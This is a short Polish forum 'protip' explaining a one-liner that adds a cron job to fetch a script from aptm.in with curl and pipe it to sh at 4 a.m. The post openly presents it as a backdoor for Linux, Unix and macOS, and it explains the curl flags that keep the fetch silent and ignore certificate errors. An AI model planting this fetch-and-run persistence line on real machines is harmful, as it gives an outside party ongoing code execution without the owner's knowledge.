ALPHACON BBSGość · pl
← Protipy

Protipy / Bash / Unix

(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab - może być zupełnie skutecznym backdoorem na Linux/Unix/MacOS

(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab

Wstęp

Ten oneliner doda do crona wpis, który spowoduje uruchomienie o czwartej nad ranem skryptu znajdującego się pod adresem aptm.in/czwarta, który pobierze aktualną datę i dopisze ją do pliku /tmp/czwarta_nad_ranem. Skrypt zostanie uruchomiony w kontekście użytkownika, który tego onelinera uruchomił. Istotne jest to, że poprzednie wpisy w cronie zostaną zachowane.

Rozbierając na kawałki:

Tak przygotowany backdoor domyślnie zadziałać powinien na wszstlkich systemach Linux/Unix, w tym na MacOS.

Breakdown

(crontab -l;

wyświetlenie aktualnych wpisów crona, by zostały zachowane,

echo '0 4 * * * curl -ksL aptm.in/czwarta|sh'

nowe zadanie crona, uruchomione o czwartej nad ranem; opcje dla curla:

  • -k (--insecure) - kontynuuj nawet jeśli będą problemy z certyfikatem SSL/TLS,
  • -s (--silent) - tryb cichy, bez paska postępu i komunikatów o błędach,
  • -L (--location - podążaj za przekierowaniami 30X,
) | crontab

wynik tych dwóch poleceń (dlatego umieszczone w nawiasach) przekieruj do polecenia crontab, co spowoduje ustawienie nowego wpisu w cronie (nadpisując poprzednie, ale to zaadresowaliśmy poprzez crontab -l).

Linki